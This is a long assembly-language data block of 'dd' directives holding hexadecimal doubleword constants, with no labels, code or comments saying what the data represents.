dd 0BA3A0D26h, 952835D3h, 0C1BB3F37h, 3A483F3Bh, 1D92257Fh
dd 0E037A6DEh, 25E42121h, 21242225h, 7F792D44h, 6723ACACh
dd 0D4986150h, 0F9263074h, 3F3B9B6Ch, 4D29AE9Ch, 0BF271BF4h
dd 5767834Ch, 37DEA62Dh, 0A92F2EA5h, 0A774282Dh, 3C083432h
dd 6982D131h, 16E23B79h, 10283F7Eh, 0C21A0C17h, 39293F4Eh
dd 0D027255Ah, 0BA4E1788h, 2C265E1Bh, 3C9AE62Dh, 0AA312531h
dd 38513C26h, 3A228A39h, 446D6A52h, 2322B29Fh, 35203CB4h
dd 6F2C7569h, 5C4D6C40h, 61B86844h, 2644FEDAh, 8A2CF3B5h
dd 0D52BB339h, 4C0C2FD3h, 305B3E75h, 3020EE34h, 896325E1h
dd 7D6C407Ch, 0F9BDC669h, 86DB2A32h, 0D1335F7h, 0AEFE39FBh
dd 184E3671h, 0C6F61EEDh, 603F51AFh, 2B1E252Ch, 6B235D38h
dd 536EEB17h, 0F3006FC6h, 0F45A35F7h, 6A5DE13Dh, 6A6D45FDh
dd 574D4B4Dh, 0BA35B41Fh, 0FA09B022h, 2A7553A7h, 0D108300Fh
dd 613330D0h, 1AAAF472h, 0E0F12DC8h, 3EF638FBh, 0CC97F3B4h
dd 0DCABDF2Dh, 5A276659h, 39F2467h, 3D3D6E8Bh, 74992C6Eh
dd 90273C31h, 7CA33476h, 7D296C39h, 1F5BB23Dh, 22DFA6F9h
dd 3BCBDCFFh, 372719FBh, 2C340D29h, 0B5E12E32h, 1B36CD8h
dd 3983368Dh, 2A261BDEh, 1F1E2313h, 0BF27DE22h, 0B22AC120h
dd 2026E625h, 461A2BD8h, 4896259Fh, 73545756h, 8BBDDCC3h
dd 3BC8351Ch, 0FEC83D0Fh, 0DC961EE1h, 3D21C8DEh, 0D9A0F420h
dd 2C57C2ACh, 0FE24ED38h, 74C8C761h, 0BE35C308h, 461A0C63h
dd 1EE8B7D6h, 94CE9E72h, 20B95F1Dh, 0A42CA833h, 2B64BE44h
dd 439AC322h, 0B57A3E4Eh, 77642250h, 7A30BC32h, 0D5302639h
dd 59187FA5h, 231B571Fh, 0B1CBAAE9h, 27E22748h, 398B01ADh
dd 202C2D7Ch, 373278BAh, 0D3FF162Bh, 44D737h, 1B353E22h
dd 3B5ACD0Dh, 23A62968h, 64DA696Ch, 0DF7A29ABh, 0BD7A2DA8h
dd 6B32B5D8h, 6B36B1E8h, 1F3ABDECh, 3FBAF55Ch, 1E99A47Fh
dd 0A668B077h, 0A2A14823h, 0AE5D5827h, 72BF582Bh, 624930ABh
dd 7A4934B7h, 0BE2D38B5h, 7E492C1Fh, 4FFFF33Ch, 2B65E0E3h
dd 2F64A26Eh, 0E7A37624h, 252C73C2h, 7EBD7F5Eh, 153C7371h
dd 6D60F621h
dd 83E5B90h, 0B01D9B76h, 804B18B5h, 76209627h, 0E0062085h
dd 697F6B27h, 0F2520FDh, 34593A35h, 5171BB3Dh, 1A747AB4h
dd 480D6E49h, 759B0174h, 0A98CA1F2h, 4DA6B306h, 2BACA378h
dd 6A7E7F47h, 0B31C5BB4h, 0B0DE6615h, 3BB93BB8h, 3DD521F8h
dd 5296DC29h, 7D75041Fh, 427E797Dh, 2A2428AEh, 7EE9AF2Fh
dd 32D934EDh, 3635A432h, 53947FBh, 2A0CC40Ah, 3994334Fh
dd 954272Ch, 51A4114Eh, 1B9C070Eh, 5DFC1996h, 3102DB06h
dd 63001CEh, 0A0C042Eh, 6F5C07B8h, 2F6F0C66h, 20377E95h
dd 17E3118Dh, 1BC315F9h, 4D18D26Dh, 81B0A05h, 70B79043h
dd 6B97AE01h, 5C103E43h, 343A9E47h, 0BED918B8h, 0DDCA7725h
dd 0A627E604h, 0C16C2A29h, 32681269h, 79131930h, 811710F4h
dd 0CC13181Eh, 2E9E1C17h, 9B123D33h, 7E208093h, 75453007h
dd 0D05DC071h, 0C0D4F69h, 101DB550h, 6517146Eh, 1E7D18F0h
dd 3F393C0Fh, 16C0F30Eh, 11619C1Eh, 0A825E2F6h, 0AD080372h
dd 3EEDAF42h, 953DC77Ch, 0B77129F0h, 3E398F3Bh, 3E09CB52h
dd 1CA2A524h, 0A094940Ch, 0A5392239h, 3223773Eh, 256BDC07h
dd 282E3429h, 0DC3332CEh, 0FBF70525h, 5E3B6EB9h, 4C0F3Eh
dd 0C3391948h, 236E2C06h, 2B20A50Fh, 2AD2AA20h, 7120242Ah
dd 3FB470B9h, 11A11BB4h, 383A1180h, 0BB3B320Bh, 5B93505Eh
dd 675AB19h, 0AD7B242Fh, 0EA1A206Fh, 288626A2h, 3E2E240Fh
dd 42F5B123h, 2E37483Dh, 3D1D3C39h, 0BD7401D4h, 77C81D7Bh
dd 2D259027h, 29292697h, 2567A029h, 0F0A4901Ch, 0BEF40033h
dd 0F0BB3727h, 3FFEB8C5h, 0EB0B91CCh, 20E635CCh, 0DEA8D51Ch
dd 2ACEE725h, 0E4A08FDAh, 33CE3EAEh, 472E9B5h, 0D8CAA436h
dd 572DD2A3h, 8920F39Bh, 9B62507Fh, 59CA1D0Bh, 0CAE1325h
dd 0BCC20515h, 380E2184h, 7251335h, 201F0426h, 0FA75D106h
dd 9B2915A8h, 8C1BE994h, 0E6358B49h, 0B73A95A7h, 21C92887h
dd 27EDEC11h, 0CD1AC79Dh, 39353BBEh, 2F393737h, 0CEF5B0C4h
dd 114CED32h, 11296B1Fh, 4B9CB74h, 1181975h, 0CCF2FE8h
dd 0D8333229h, 7163F893h, 22B93E29h, 26B17B70h, 2F973C1Eh
dd 3CBD68C6h, 688E006Ch, 0C9789D4h, 819B2B36h, 302B4F55h
dd 793388E9h, 3937A66Fh, 3C383A3Ah, 0E43C3E39h, 0A71C1DE3h
dd 63252120h, 27DE0624h, 3424292Bh, 2E2E2396h, 0FE323884h
dd 7B378D15h, 3B6E18F5h, 1F4D5454h, 79726E6Bh, 4F40521Fh
dd 48444703h, 5E462849h, 6845090Bh, 4225418Bh, 375F40F4h
dd 33813384h, 0A855349Bh, 0F5121009h, 62037F0Ch, 31417389h
dd 34BCE41Dh, 2A665F25h, 9102301Eh, 8D995B17h, 66AAD134h
dd 2D3E3985h, 146B3D8Ch, 0CCC91CADh, 22433B10h, 1F243051h
dd 88B0C3Bh, 0DB7D26FCh, 26932CF3h, 0C7C946B4h, 370B3106h
dd 5A2BAD30h, 1EFC38ECh, 7D7D2022h, 0DF2795D8h, 24094629h
dd 202E222Ch, 0AC323E30h, 3739353Bh, 2FA97B3Bh, 334A1F0Ch
dd 19171C5Ah, 43A9148Fh, 62CDEA39h, 0ECFCD739h, 0DF59AC2Ah
dd 27CE16C4h, 0C3AE15A3h, 0BB5921B7h, 405CF422h, 55C79BFh
dd 41AD72FFh, 5186ECB6h, 126E21C7h, 0ED0A099Eh, 0CFC6A921h
dd 4C90CCCDh, 1A3E3F96h, 3D7F4B3Eh, 0FEDABF2Ah, 0DF4D2E18h
dd 1D439CF4h, 3DD86ED5h, 44380AB5h, 602E8F4Dh, 34BB9175h
dd 9822C964h, 0AD981A5Bh, 3B4A6C9Ch, 0D81C7CBDh, 0AB23A025h
dd 0A76637F4h, 333FD62Ch, 0E8AA2ECCh, 3330D035h, 68F0BE30h
dd 3B362022h, 3CAEB19Dh, 0BF5A03FBh, 22A1118Fh, 0E1135522h
dd 2E293961h, 0D1DAAECh, 0B6373027h, 0C7368B0Fh, 0BADD5EDFh
dd 33011A12h, 0D020348Bh, 0EA4D572Eh, 21647212h, 0E92CA6D6h
dd 0C564382Dh, 0A15BA41Ah, 35F5FD26h, 0DCD06657h, 9D3CDAD1h
dd 95F61A7h, 0AF5A3C0Dh, 262362E3h, 58242605h, 2C59272Ch
dd 53404248h, 87E73031h, 0B8343651h, 3CFB387Ah, 59323D06h
dd 89E11D38h, 22EE7420h, 2760CC24h, 2A2A2BCEh, 2E329CC5h
dd 7F30B1B9h, 6033B424h, 39BA3A3Ah, 0BEC3AF18h, 9F15E113h
dd 6B2B20C7h, 667614ADh, 30766A2Fh, 3C727CB0h, 919D6F6Dh
dd 697161B3h, 7A211C63h, 317D6E66h, 0F50F9A16h, 65335E94h
dd 0CD747C60h, 3FAB5AACh, 48706B4Ah, 32315FC6h, 4D106732h
dd 6B0378BBh, 3C5F31D2h, 905ABB3Dh, 204F1A1Dh, 2406AB45h
dd 0A3717721h, 58A2DB89h, 0D22F2A09h, 94D133F6h, 0A1DF3535h
dd 55BB3BCEh, 1F17BE3Ch, 131C91F4h, 202E2074h, 2559AFCCh
dd 272B1624h, 2D5CC52Eh, 3218933Ch, 52DE3438h, 3A2F353Ah
dd 3E3EAD30h, 13BF6D12h, 0A62E29D3h, 12206739h, 38133ED6h
dd 5EF83AD8h, 0C418734Ch, 0A0DD3225h, 1A3C7836h, 3C4D0C3Eh
dd 949EBB4h, 25D03B1Ch, 0A12BD019h, 0C08D290Bh, 280C5739h
dd 22C33E44h, 993083BEh, 34EA3ABDh, 1C3B311Eh, 0CDD861F8h
dd 28869E62h, 202BB721h, 0B2E07673h, 0FAC37801h, 0FE7C2F2Ch
dd 0CAE0DDD9h, 0B12068CAh, 3C2B35B6h, 97328DB1h, 0AF4B4E14h
dd 0CAA97676h, 7F6636E4h, 293EEA58h, 136CED7Ch, 0DB313134h
dd 1477B4D4h, 0E5DAD1F5h, 6D20ED3Ah, 48103BBAh, 0C749C817h
dd 53E53200h, 1CA3A362h, 282F273Bh, 22443224h, 420534C8h
dd 5B3FB3C7h, 605A6C3Ah, 0E59F1BFCh, 0A22E6A1Dh, 73AC27E4h
dd 64AA9ECEh, 0ACEF752Eh, 6BD78027h, 0A3B3B3Dh, 0CB005697h
dd 5C50383Ah, 751B5127h, 231F7973h, 5575144h, 5B4E08D5h
dd 255B4F41h, 60AF6D79h, 71773331h, 38B61B73h, 0CC163F3Dh
dd 1B531338h, 3ABE461Eh, 0E46130Eh, 0B7122567h, 2BAADC7Ch
dd 722E6B16h, 6D0234C1h, 374411E7h, 3C4B312Dh, 2B1AE978h
dd 0BE210ECAh, 3C11131Eh, 255E853h, 0FA07AE28h, 0CE28CE2Bh
dd 0C13261AEh, 0C231273Dh, 683B3839h, 566A886Bh, 0F9C6B3Fh
dd 2D005C2Eh, 0D4C127B2h, 3F58CE07h, 3FDD2F64h, 21502D5Eh
dd 1585B798h, 644207Ah, 0EC693A6Fh, 4A4E1945h, 46B951Dh
dd 51D5A729h, 79AC262Bh, 0A9EB1920h, 0A52B21FFh, 0BF2310F1h
dd 0B2643F74h, 22B12A39h, 0C805F4B7h, 9B3F1D69h, 0A93455E9h
dd 0AD2E2474h, 2AC82876h, 2DEEAE3Dh, 31F4B230h, 0D60A3B75h
dd 6D3D1938h, 1A3EDD76h, 1B387433h, 0A924019Fh, 0B0200096h
dd 0CB882D03h, 81214C2Bh, 8A9B3607h, 17D53216h, 3C1DD331h
dd 0A3B18CDh, 1B3FB03Eh, 420FF11h, 702A2B0Bh, 0A1682102h
dd 2FA91328h, 5932A74Eh, 0AA30B23Eh, 0C57D33B9h, 2449803Eh
dd 0E9B6D627h, 0C95B5919h, 51238783h, 2CF6B1CCh, 28F90749h
dd 3F2BF17Fh, 37965A34h, 655DDF07h, 3569303Eh, 1BFA7A37h
dd 3428045Dh, 0F4321E5h, 8F20E40Ch, 96C92FEAh, 4028E28Bh
dd 0D2B4DC33h, 9F4136FBh, 0B132D03Ch, 67343F9Ch, 0B5DE1EB9h
dd 2A6CAD1Dh, 0ADCB70CAh, 0F8A129F7h, 2AA38A2Ah, 127C80A2h
dd 3435FADAh, 0BBFF3AB6h, 0BC85B639h, 1F9A653Dh, 10AC9293h
dd 148F712Ch, 8874AA24h, 2D8E8B2Ah, 15F086EEh, 0E5FD641Fh
dd 86C5F13h, 0ED7AD33Ch, 1CBC1F3Ah, 9800DA9Eh, 0CC732E21h
dd 2A27A285h, 38652AA2h, 0EAEB13A6h, 65333333h, 0C761E1CAh
dd 9CFFB9EEh, 0D8616135h, 0D31E1C8Ch, 7422212Ch, 2F0259AFh
dd 2B5FD6ADh, 2E4E452Fh, 859D4521h, 0C36FE276h, 39C5893Ah
dd 0CEF63FCDh, 0AE4C9819h, 222222EBh, 3E000427h, 2F2E187Eh
dd 0EF2D6CE3h, 3B69E02Ch, 34208573h, 0A2853937h, 1E3C695Ah
dd 0BDB61A77h, 69601E5Bh
dd 2461F323h, 29296046h, 3B3F6ABAh, 215A2B7Ch, 75312658h
dd 1F387037h, 6F385172h, 1E28B5D6h, 619223Bh, 2573CA0Bh
dd 66674F35h, 78207A3Dh, 0F10FAE57h, 3F72639Ch, 345D3361h
dd 2A7B3D53h, 19553A38h, 755E09DCh, 1CA7322h, 0A47625C4h
dd 0A34D29D0h, 0AA2E29ACh, 5B3944CFh, 3E3636DCh, 0E3EA29B8h
dd 1B7A2DBCh, 9D155C17h, 2A8122E7h, 73A92B2Fh, 0EBD6D763h
dd 3FC53C99h, 32B4F66Fh, 0B71640CCh, 393984DBh, 9E13857Fh
dd 0F538AF20h, 23AB0F1Eh, 0CD0F22DEh, 156C3286h, 4741EB91h
dd 1CF07F06h, 305536BEh, 0BA184705h, 0CDB723FEh, 0E2DD72Fh
dd 25BD52F5h, 7567CAEFh, 0DC4F2654h, 44263A1Ch, 1B7427BEh
dd 22627C43h, 5B3A5319h, 1C5133A9h, 9B7ABFFAh, 3F218C1Ah
dd 2202FCC8h, 647AA402h, 0DDD5D740h, 270A692Ch, 653B4531h
dd 80FBF1DCh, 0FFB914F8h, 0DC389D38h, 18301514h, 288321D8h
dd 0CF21E5A0h, 0D4464237h, 79277CD4h, 1202D4C7h, 3153F439h
dd 0FB5D9968h, 5E194827h, 8E34D33h, 0A03A9F8Ah, 0B507525Eh
dd 14282F1Dh, 3F727420h, 6A57BE73h, 29AAA3F1h, 1D185BBDh
dd 0C23AFC22h, 72923F3Eh, 7F921A1Dh, 2C5DAB29h, 0FFCF3A76h
dd 123B76EAh, 295B105Dh, 0E4DB2E67h, 2DB73735h, 187F1DDBh
dd 1FBF391Dh, 1B1E195Ch, 0E0A8A921h, 3704257Ah, 82877EBh
dd 32ED3D80h, 3B3C1122h, 0B7323874h, 3B7A785Ch, 0CB566C6Ch
dd 0B7B582Dh, 42FA9C9Bh, 2905DC5Eh, 2B5400BAh, 797951FFh
dd 31312196h, 0BBF59000h, 91CA6257h, 1E79285Ah, 0FD185149h
dd 0A7200648h, 290067ABh, 3929A707h, 2D043ED5h, 2DF01C7Bh
dd 1F35F7B3h, 45590BB0h, 656B6D69h, 1C241F56h, 90049E03h
dd 24A839A1h, 20E3A5FDh, 2A5EF1ACh, 271712Dh, 0BFF069F1h
dd 20131E79h, 0E4193A68h, 9ECF387Dh, 6B1F1C49h, 227E2021h
dd 26276D25h, 2A2B9C16h, 72F2C1Eh, 32333FF2h, 63373432h
dd 3A3AE7C4h, 0D73F3CCEh, 4BC11D1Ah, 23F3211Eh, 21649822h
dd 862B6991h, 8C2C2D7Eh, 33A9312Eh, 3734A432h, 3B386DB1h
dd 4C3C3D47h, 0D527533Fh, 7CA91C68h, 29A42202h, 0A078E9ADh
dd 0AFC43777h, 0BA236F1Dh, 58F5B23Ah, 68283C56h, 0DD480652h
dd 913D8636h, 0C3919F38h, 71A8BB81h, 0C07522C5h, 28AA3A0Fh
dd 862A2D28h, 5C633771h, 0B944C221h, 38BAFB3Dh, 9805CDBDh
dd 0C925DD27h, 4B222480h, 941A5918h, 8B146B15h, 2C2E13B4h
dd 90319270h, 74363694h, 28094A0Ah, 3D0ADE08h, 0FE4F6CB8h
dd 10163629h, 1163A414h, 13CA1FC4h, 0E79DC58h, 0F680C9Ch
dd 29251480h, 8A835A09h, 313D333Bh, 121C143Fh, 2E20101Eh
dd 252BDC22h, 29272729h, 2D232B25h, 313F2F21h, 3ACB333Dh
dd 36383836h, 323C343Ah, 131B303Eh, 0DF1F111Dh, 242C222Eh
dd 2828262Ah, 2C242A26h, 30202E22h, 3B333DCEh, 37373935h
dd 6A4F30B8h, 44733F3Ch, 3D338FC6h, 32B81473h, 0D88C6525h
dd 89D12999h, 21AC0B3Ch, 7A6313F1h, 2DA117A6h, 0E5883839h
dd 76433C3Dh, 80252DB9h, 73C2204Eh, 73E95702h, 8A772DE5h
dd 18F082Bh, 186A3210h, 0DFB5947Ah, 27796677h, 2EF9BF13h
dd 4F7C23B6h, 0E3D2F749h, 2BE44160h, 9E8F23CEh, 25622DAAh
dd 71B96E79h, 41BF3B7Ch, 0B5B82312h, 2E7C744Eh, 0EB7357BFh
dd 9259758Dh, 0FEF249A3h, 8C4CA5E5h, 446A3B69h, 702DEF9Bh
dd 75A78423h, 0FD2831EAh, 0FA297E3Eh, 0C46D1C3Ah, 7E50411Bh
dd 0C34152E4h, 44477760h, 3BC26648h, 7523D0h, 66016C33h
dd 6725513Eh, 5A2E9832h, 72620083h, 4A9D787Eh, 0A66952DFh
dd 0BA54A4Ch, 43454466h, 5D6DAB2Ah, 5E44515Ch, 613EDF2Ch
dd 0A6399EDFh, 0FABEC3C6h, 0C9F4903Bh, 623F425h, 9A152724h
dd 1B28F626h, 7E7B030Ah, 0EDB27C7Dh, 136174Eh, 0BD375BBEh
dd 3F3C3A20h, 1FF3Fh, 4A4E1A77h, 0E3327123h, 28A3294Fh
dd 0A1291429h, 422F0779h, 615F3393h, 9A2A3564h, 341A9E39h
dd 0F73F9C2Fh, 181EBC31h, 3A002182h, 0AA3735D8h, 8A9683A5h
dd 2F8CDC2Ch, 0D5329074h, 639C3596h, 99E13D29h, 3E6F293Ch
dd 0B41DBECBh, 0E726012Bh, 27C12481h, 2A8B9225h, 2F7C6081h
dd 0B21B80Fh, 1615D42Bh, 7C29100Eh, 6040CB3h, 245C5D0Fh
dd 0A901DF56h, 0C57C1A72h, 41114707h, 5DA4092Ah, 13105717h
dd 75BC0AB2h, 0A83714h, 8D6D02A2h, 0BC22A33Eh, 8C26B624h
dd 1D932218h, 119B1F9Dh, 0E42B13E9h, 783AD17Ch, 357751B2h
dd 0FF18B5F6h, 10BB3B39h, 0E4F78EBEh, 1F1C8DDFh, 0A277012Dh
dd 142A2DB1h, 0A3BF28C5h, 622C2D2Dh, 0B34CA4B3h, 89A03130h
dd 0D3AC3937h, 0D267BC7Dh, 43431F6Fh, 0A872B61Fh, 4B22374h
dd 0AE26BF2Eh, 28A6B4B9h, 34B0FAEEh, 4F74AE46h, 2200802h
dd 7E912509h, 2D1B8B3Eh, 564F794h, 9529B31h, 38273EA2h
dd 22FB2B25h, 3330202Eh, 21395326h, 0E922473Ah, 8C1C5132h
dd 44AB3E66h, 0A1133EC5h, 253522E3h, 18C2E586h, 58C32B09h
dd 44CF842Dh, 3614EA31h, 0FD3612F8h, 0E0B33A4Bh, 1B4D83D4h
dd 6DABF4D8h, 0CA8E6920h, 9F265589h, 4E23BB88h, 2027B23Bh
dd 5DB86C30h, 72BD36C4h, 0DBB93980h, 30FEB83Dh, 1E9D149Fh
dd 266CAB1Ch, 27657CCAh, 2B8C3565h, 416D2A1Eh, 17FAEBEDh
dd 5B36F681h, 0F89B15F0h, 0AC08FB38h, 209A18FDh, 22A2549Ch
dd 0A4566624h, 0ED616925h, 6D974EA8h, 67B2E72Dh, 0F29A30B3h
dd 32D02C26h, 0D1BF3B21h, 4B4D6A76h, 211F1E77h, 2D49264Bh
dd 3C61AF25h, 0C43754A0h, 318226D1h, 311C1231h, 380A3141h
dd 3E3B3EFAh, 4C683748h, 0F7484A4Ch, 7C2080C7h, 237827E4h
dd 29C8395Ch, 2E9E2458h, 0F2F6CFB1h, 3387B514h, 0E40F3239h
dd 603E225Dh, 942E30Ch, 357E3740h, 195931AAh, 0BC701A7Eh
dd 0B52CD8DAh, 6B036910h, 0E4BB413h, 65D3976Eh, 7965517Ch
dd 451DFBB1h, 23F46059h, 5A546476h, 6E7727C5h, 2D231835h
dd 21AF2F21h, 80E623A5h, 0AFF027A3h, 33A9422Ah, 0F6A92FAAh
dd 5181C42Ch, 20E01965h, 23533E06h, 2E2609A9h, 0C0002E38h
dd 0C20030DAh, 389AAE5Dh, 0BD1F3A3Ah, 0A83D65Dh, 1D074F04h
dd 23276738h, 3F26DD3Ch, 2F42EDD7h, 0B627A2Eh, 0B229342Ch
dd 0F7B3354Fh, 0BDFC304Ch, 3C7E3DA9h, 961BF71Ah, 7B08731h
dd 642727E2h, 6B60953Ch, 0BF7A4423h, 326232EEh, 48247532h
dd 0A83A39D3h, 0BA0BBEC2h, 62185A36h, 6B245E56h, 70072158h
dd 582AA4h, 7FA72C6Bh, 4732EE77h, 8B8710Ch, 1DA43677h
dd 3B3D3A3Ah, 1F1A5699h, 901720B7h, 5563941Fh, 16EF18E7h
dd 0F815E429h, 0D011F413h, 0AD5320Fh, 6C508D9h, 0C23B04C1h
dd 11003A03h, 1F210D23h, 1C3E1E36h, 180E1A06h, 1F150728h
dd 6F111713h, 0C74310Fh, 8640A78h, 653A0660h, 55015903h
dd 7279727Ah, 2253207Ah, 7924B622h, 58295D57h, 424C4F4Eh
dd 32303043h, 4254360Eh, 38395158h, 4D3FF13Bh, 78686846h
dd 23201F73h, 1A252332h, 69281419h, 7D746A73h, 3170776Fh
dd 0F4363368h, 4B4C4434h, 4D5F55BAh, 800E3DFDh, 231EA96Fh
dd 0A1E52228h, 2924269Fh, 5DBA2DC2h, 0AD162A2Dh, 0B13C6E31h
dd 52B32DC5h, 3ED3AA3Fh, 0EB0F2BC2h, 0DC258D79h, 2253A4A9h
dd 29967CA0h, 0EAECA92Bh, 0A6E71E09h, 514A157Ch, 0B7F6E566h
dd 0E19B3A38h, 0D72F3DCFh, 1EED5FF6h, 0AF33208Eh, 276550ADh
dd 0D8F4A2CFh, 2FD9912Ah
dd 0C0FCD83Ch, 30337033h, 0D22D38C4h, 713DCE86h, 81CEF6Eh
dd 21D2B2F6h, 3324D7BAh, 0DBB5CF32h, 2DD8CA2Ah, 0B8BDC739h
dd 321E33C0h, 0D12037C5h, 3148FBBFh, 4A3177B5h, 0DF1E958Dh
dd 16F32031h, 292B24E5h, 0A77CAE27h, 32F78A10h, 0C5B83230h
dd 2DBCE1CAh, 0DD3BA6D0h, 95B43F3Dh, 1F1E193Dh, 18E00A22h
dd 9E3753E5h, 3A2BEC2Ah, 0D0FEE9C4h, 0E436CECFh, 68283797h
dd 2A4B23E8h, 3D5EE11Ah, 42390744h, 3F9A3B4Ch, 722076F6h
dd 792F2D76h, 264DD330h, 66792B7Bh, 1B14A0DBh, 319C145Fh
dd 3B7DDF4Eh, 0F51D0060h, 705D8DCFh, 3820B139h, 89B32ED4h
dd 0DE25D42Fh, 6F6F4315h, 60F401CEh, 363BB366h, 0C2284BBFh
dd 455FC0C1h, 859421Ch, 30E36370h, 0D7717731h, 0A764AAFCh
dd 6E70E8ADh, 0F0B2696Ch, 0FB0B5E37h, 113B3EA9h, 1B3F0345h
dd 1F744BA0h, 22482020h, 32D9274Eh, 6AF6192Ch, 0D0D0AE4Ah
dd 383E3645h, 3C31D2F5h, 0E8A23AEFh, 0CE3EC7B7h, 0E316D41Bh
dd 62A90A1Fh, 4624D920h, 2BA26CD0h, 0EF393C4Bh, 52313CCFh
dd 36F2BFC9h, 0D5B2E8C0h, 0D41EFF18h, 597D197Eh, 0CEABDA1Dh
dd 2D954122h, 28D7D87Dh, 0CCED2448h, 53333A3Fh, 0B435387Fh
dd 5C7C3636h, 49595752h, 1B443971h, 210D5A2Ch, 36630A2Fh
dd 86A73AA5h, 684F4F42h, 424C4B3Dh, 34FBF354h, 0F876F937h
dd 485E4998h, 187D4878h, 481D1D8Ch, 65564841h, 74A4574Bh
dd 4E46E7A8h, 0AF444F63h, 0B373070h, 0A2EE34ACh, 0AA576939h
dd 3EAB653Dh, 9B190D3Ah, 5920B100h, 87256498h, 283CAE21h
dd 2C38A7FAh, 6830789Fh, 0E63471B3h, 34393972h, 0CE3C798Bh
dd 0E518AA9Ah, 0BF231BAAh, 552A2D21h, 0AEED5226h, 1D2EBED2h
dd 3D31E32Eh, 1170B832h, 45F8B232h, 0C5BF303Ah, 0A41D403Ch
dd 0DFE01EECh, 31DCE1DEh, 2AA7FC41h, 2D2BED28h, 0CC302E3Bh
dd 40B86431h, 0CEB23E11h, 0C3073A4Dh, 19E73628h, 0EF1E261Dh
dd 49741354h, 274E2424h, 2B282828h, 0A9005878h, 26F25A09h
dd 30B62D94h, 6B6E7FFFh, 5783E3Ch, 0DA05BDC0h, 20E1351Dh
dd 6D13D2Dh, 0C8302F6Ch, 2735CA78h, 3110EAC7h, 19F22CD5h
dd 0FAD132BFh, 40B03F1Bh, 3533DD15h, 0A29DF715h, 30874F1Ch
dd 3D0ACF2Ch, 0AC11A01Fh, 7AB43413h, 0F5271172h, 0B2793730h
dd 7936B6D2h, 58D57EBEh, 701D7453h, 640524C9h, 2A6BE34Bh
dd 0C4282A28h, 612F64AFh, 37E4CD61h, 203CF6F0h, 0FC1C3504h
dd 14717E2Ah, 961BDE83h, 4AA2496Eh, 0A329FEA0h, 43822697h
dd 2094B720h, 3F3DA461h, 673D3FC0h, 23350936h, 0F0B5003Ch
dd 3F74A1F3h, 0C24D7E53h, 69F4D528h, 32312666h, 0E15C429h
dd 2A3F7206h, 19A9DC32h, 0FB2B5AE8h, 0B3338C3Bh, 460FD9E2h
dd 0AE21B1Fh, 6524D35Fh, 6428C364h, 6C3D2BCAh, 0D16B2227h
dd 0B53D761Ch, 383934B7h, 0AB389FB1h, 0FC1BDEE5h, 20FEBF04h
dd 0C58F14C1h, 3E32A625h, 0C2BCB9Eh, 30CEEC0Fh, 8E303237h
dd 3F37D7F8h, 3CDA05F9h, 0FADC2DBDh, 1F170D1Ch, 23C3CF23h
dd 47841660h, 186B3E29h, 1C5348CDh, 0BE14B1B4h, 175BDFB9h
dd 10FBB039h, 0FFB40E7Dh, 5B2E5D0Ch, 11712205h, 6A49850Ch
dd 0C1C13E14h, 7E110C1Ah, 0BC31ACC7h, 74450760h, 0D50A7F7Ah
dd 0D75103Ah, 2E5154D4h, 2301C4C9h, 0A02B78E7h, 2B28221Fh
dd 9A8A63Ah, 49B5EDFCh, 36DB62h, 1DB41937h, 6C3F3BDDh
dd 5D1ABFB5h, 245E3F5Bh, 679E06B5h, 0C0754EABh, 0A828EB39h
dd 696EA06Eh, 0CBDB5A61h, 74B97F67h, 1B3AB478h, 2BF5D2Bh
dd 0F70F9355h, 0D1DD21E9h, 0CF7D28Ah, 0FA0AA2D1h, 0D2A5DAA7h
dd 0B8971521h, 14C6FF36h, 85359DCBh, 3E3E3D71h, 1D1D5DA3h
dd 2254E824h, 66249721h, 5672D0A4h, 4F95D823h, 4E4A30D7h
dd 0ED7DB0C7h, 3EAF1A42h, 3A89FC08h, 19AB5EFEh, 71E877BEh
dd 70A5BB4Ah, 5A403CCFh, 47381EEAh, 0CA05CE2Bh, 0D15C4432h
dd 5A59E00Bh, 0F65D213Bh, 5013F39h, 8D7D255Dh, 0CA6DA2Bh
dd 0AD34A66Fh, 46AF25D6h, 351EE5B4h, 0B48403F0h, 3016D03Dh
dd 0E73CFA34h, 1CDF655Ch, 1C1E8992h, 0A2B1B7AAh, 75775B44h
dd 0CAB6EC40h, 1A2009ECh, 72523730h, 6BBE32B5h, 0D3664D1Ch
dd 0BF325C3Fh, 6A683C6Ah, 0C2D3553Dh, 79DADB3Ch, 0ABCA4879h
dd 0EC4AA8BAh, 7D7DF243h, 96B4DC74h, 0E423F93Dh, 0FF3B9CAFh
dd 0C0CC1B9Eh, 4A041AFFh, 23254286h, 78288649h, 25EC02A8h
dd 872A892h, 973573B7h, 3B997E9Bh, 3C7C1F17h, 1D5A4276h
dd 412FB4BEh, 1C61FC22h, 0DC7BE7FCh, 4C78B609h, 0A7D8C26h
dd 1133936Bh, 71277977h, 3BF035DBh, 6A853D3Dh, 9B1E351Ch
dd 2353E923h, 0F125250Dh, 13A2959h, 5ECA2E2Ch, 30321A30h
dd 3747C776h, 453E3914h, 37133D5Ch, 6F131F1Bh, 21210E1Fh
dd 2654053Fh, 2A2808h, 2E1D2C5Ah, 430933ABh, 35350533h
dd 2A394971h, 0CB6926DFh, 1210D432h, 7670B01Eh, 0CD806CF3h
dd 0A86CA72Ah, 216E78ECh, 3E5639BFh, 7E751273h, 38C8BE3Ah
dd 0FBD431FAh, 0ED31AF23h, 2DF71212h, 69731501h, 31F61963h
dd 0C42729C8h, 385E5FC7h, 72FD314h, 0F8B22DE5h, 2CFBFA79h
dd 3280D3Dh, 9B17FFDDh, 6B13A04Fh, 27A7FF2Fh, 7A3595BEh
dd 2E087376h, 0F2203102h, 0E03D3BD3h, 38EAC1B3h, 0FFE9CAEDh
dd 815DE584h, 3E27121Eh, 1E71623h, 9CEE821Ch, 8E6C8DC2h
dd 3EDAF13Bh, 72EC32B3h, 254D0F55h, 3E42FCBEh, 295A906Dh
dd 71185195h, 0DA7272A2h, 0D1A31770h, 0D2644C6Bh, 38316D5Ah
dd 52D795D9h, 0C6C72705h, 18DC5F2Fh, 14492FB5h, 23770BE2h
dd 62A87206h, 0E8A41639h, 5B887A6Dh, 0F7A428ADh, 0B514D3F8h
dd 0D3C8C8D6h, 38FB093Bh, 3F735E0Fh, 1E4F4B2Ch, 7B00A112h
dd 5F33A515h, 1E2A59C0h, 7F42562Ch, 3001B081h, 20B6F4DCh
dd 0B91636B8h, 0EAF2390Eh, 3A491F1Bh, 0A2ECAB73h, 0FE3DCC71h
dd 0AD6FD7D9h, 0AC7BFE01h, 3C02D805h, 1E152431h, 9B36A1DFh
dd 0CE22EC1Fh, 1C35BA25h, 71FB9A78h, 0DDA70657h, 0F9A935E6h
